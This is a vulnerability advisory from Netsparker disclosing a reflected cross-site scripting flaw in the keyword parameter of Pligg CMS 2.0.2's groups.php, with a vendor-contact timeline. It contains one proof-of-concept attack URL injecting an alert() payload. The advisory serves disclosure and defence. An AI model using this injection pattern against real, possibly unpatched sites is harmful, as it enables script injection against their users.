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XSS Vulnerability Identified in Pligg CMS

Information
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Advisory by Netsparker.
Name: XSS Vulnerability in Pligg CMS
Affected Software : Pligg CMS
Affected Versions : 2.0.2 and possibly below
Vendor Homepage : http://pligg.com
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Not fixed
Netsparker Advisory Reference : NS-15-011

Technical Details
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Proof of Concept URL for XSS in Pligg CMS:

Page: groups.php
Parameter Name: keyword
Parameter Type: GET
Attack Pattern: http://example.com/pligg-cms-2.0.2/groups.php?view=search&keyword='+alert(0x000D82)+'

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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13/05/2015 - First Contact
30/06/2015 - Second Contact
16/07/2015 - Third Contact
30/07/2015 - Advisory released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
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